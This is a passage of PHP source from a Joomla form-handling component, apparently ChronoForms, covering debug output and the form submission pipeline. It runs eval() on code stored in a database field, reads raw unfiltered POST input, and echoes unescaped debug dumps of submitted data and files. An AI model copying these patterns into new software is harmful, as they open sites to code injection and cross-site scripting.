($j >= 69) { $debugger .= "Merchant-defined (" . $j . "): "; $debugger .= ": "; $debugger .= "</td>"; $debugger .= "<td class=\"v\">"; $debugger .= $pstr_trimmed; $debugger .= "<br>"; } else { $debugger .= $j; $debugger .= ": "; $debugger .= "</td>"; $debugger .= "<td class=\"v\">"; $debugger .= $pstr_trimmed; $debugger .= "<br>"; } break; } $debugger .= "</td>"; $debugger .= "</tr>"; // remove the part that we identified and work with the rest of the string $text = substr($text, $p); } } $debugger .= "</table>"; if ($params->get('debugging')) { echo $debugger; } /*********do the after onsubmit code**********/ if (!empty($row->extra5)) { eval("?>" . $row->extra5); } ?> <?php }
function submitForm($formname, $posted = array(), $useCurrent = false) { global $mainframe; $database =& JFactory::getDBO(); if (empty($posted)) { $posted = JRequest::get('post', JREQUEST_ALLOWRAW); } if ($useCurrent) { $MyForm = $this->getInstance($formname); } else { $MyForm =& CFChronoForm::getInstance($formname); } $MyFormEmails =& CFEMails::getInstance($MyForm->formrow->id); $MyCustomCode =& CFCustomCode::getInstance($MyForm->formrow->id); $MyPlugins =& CFPlugins::getInstance($MyForm->formrow->id); $MyForm->posted = $posted; $debug = $MyForm->formparams('debug'); $MyForm->addDebugMsg('Form passed first SPAM check OK'); $session =& JFactory::getSession(); // Check how soon was the last submission $MyForm->checkSubmissionsLimit($MyForm->formrow->name); $MyForm->addDebugMsg('Form passed the submissions limit (if enabled) OK'); /** * If imageversification is on check the code */ $MyForm->checkImageVerification($MyForm->formrow->name); $MyForm->addDebugMsg('Form passed the Image verification (if enabled) OK'); //Server side validation $MyForm->checkServerValidation($MyForm->formrow->name); $MyForm->addDebugMsg('Form passed the server side validation (if enabled) OK'); //if any check steps failed, quit and reshow the form if ($MyForm->showFormErrors($MyForm->formrow->name)) { $MyForm->showForm($MyForm->formrow->name, $posted); return; } /** * if $debug is true then ChronoForms will show diagnostic output */ $MyForm->addDebugMsg("\$_POST Array: " . print_r($posted, true)); $MyForm->addDebugMsg("\$_FILES Array: " . print_r($_FILES, true)); /** * Upload attachments */ if (!$MyForm->haltFunction["uploads"]) { $MyUploads =& CFUploads::getInstance($MyForm->formrow->id); $MyUploads->handleUploads(); //show errors if any if ($MyForm->showFormErrors($MyForm->formrow->name)) { $MyForm->showForm($MyForm->formrow->name, $posted); return; } } /* Do Onsubmit before_email plugins*/ if (!$MyForm->haltFunction["plugins_before_email"]) { $MyPlugins->runPlugin('before_email'); $MyForm->addDebugMsg('Form passed the plugins step (if enabled) OK'); //show errors if any if ($MyForm->showFormErrors($MyForm->formrow->name)) { $MyForm->showForm($MyForm->formrow->name, $posted); return; } } //handle arrays $MyForm->handleArrays($MyForm->formrow->name); /** * If there are no errors and e-mail is required then build and send it. */ if ($MyForm->formrow->emailresults && !$MyForm->error_found && !$MyForm->stoprunning) { //run before submit code if (!$MyForm->haltFunction["onsubmitcodeb4"]) { $MyCustomCode->runCode('onsubmitcodeb4'); if ($MyForm->showFormErrors($MyForm->formrow->name)) { $MyForm->showForm($MyForm->formrow->name, $posted); return; } } if (!$MyForm->haltFunction["autogenerated_before_email"]) { $MyCustomCode->runCode('autogenerated', 'before_email'); } //send emails if (!$MyForm->haltFunction["emails"]) { $emails_result = $MyFormEmails->sendEmails($MyForm, $MyFormEmails->emails); } } if (!$MyForm->error_found && !$MyForm->stoprunning) { /*************** check to see if order was specified, if not then use the default old one ************************/ if (!$MyForm->formparams('plugins_order') && !$MyForm->formparams('onsubmitcode_order') && !$MyForm->formparams('autogenerated_order')) { $MyForm->setFormParam('autogenerated_order', 3); $MyForm->setFormParam('onsubmitcode_order', 2); $MyForm->setFormParam('plugins_order', 1); } for ($ixx = 1; $ixx <= 3; $ixx++) { if ($MyForm->formparams('plugins_order') == $ixx) { if (!$MyForm->haltFunction["plugins_after_email"]) { $MyPlugins->runPlugin('after_email'); //show errors if any if ($MyForm->showFormErrors($MyForm->formrow->name)) { $MyForm->showForm($MyForm->formrow->name, $posted); return; } } } /** * Run the On-submit 'post e-mail' code if there is any */ if ($MyForm->formparams('onsubmitcode_order') == $ixx) { if (!$MyForm->haltFunction["onsubmitcode"]) { $MyCustomCode->runCode('onsubmitcode'); if ($MyForm->showFormErrors($MyForm->formrow->name)) { $MyForm->showForm($MyForm->formrow->name, $posted); return; } } } /** * Run the SQL query if there is one */ if ($MyForm->formparams('autogenerated_order') == $ixx) { if (!$MyForm->haltFunction["autogenerated_after_email"]) { $MyCustomCode->runCode('autogenerated', 'after_email'); } } } //Mark submission as complete! $MyForm->submission_complete = true; $MyForm->addDebugMsg('Debug End'); /** * Redirect the page if requested */ if (!empty($MyForm->formrow->redirecturl)) { if (!$debug) { $mainframe->redirect($MyForm->formrow->redirecturl); } else { $MyForm->addDebugMsg("<div class='debug' >Redirect link set, click to test:<br /><a href='" . $MyForm->formrow->redirecturl . "'>" . $MyForm->formrow->redirecturl . "</a></div>"); } } } if (!empty($MyForm->formdebug) && $MyForm->formparams('debug') == '1') { include_once JPATH_COMPONENT . DS . 'libraries' . DS . 'includes' . DS . 'Debug.php'; } }